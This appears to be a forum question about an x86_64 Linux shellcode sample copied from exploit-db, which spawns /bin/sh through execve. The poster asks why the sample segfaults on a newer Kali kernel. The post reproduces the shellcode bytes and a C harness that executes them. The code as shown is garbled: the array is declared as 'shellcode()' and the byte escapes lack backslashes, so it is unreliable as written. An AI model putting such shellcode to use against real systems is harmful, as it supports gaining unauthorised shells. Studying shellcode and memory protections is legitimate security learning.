linux – x86_64 shellcode for /bin/sh

https://www.exploit-db.com/exploits/42179

#include <stdio.h>

unsigned char shellcode() = "x50x48x31xd2x48x31xf6x48xbbx2fx62x69x6ex2fx2fx73x68x53x54x5fxb0x3bx0fx05";

int main()
{
    int (*ret)() = (int(*)())shellcode;
    ret();
}

According to the comment in the code, gcc -fno-stack-protector -z execstack shell.c -o shell is supposed to compiled the code on #1 SMP Debian 4.9.18-1 (2017-03-30) x86_64 GNU/Linux.

I get the following error when I try the above code. How to make it work? What has been changed in the OS so that it does not work any more?

$ uname -a
Linux kali 5.10.0-kali4-amd64 #1 SMP Debian 5.10.19-1kali1 (2021-03-03) x86_64 GNU/Linux
$ gcc -fno-stack-protector -z execstack shell.c -o shell
$ ./shell
Segmentation fault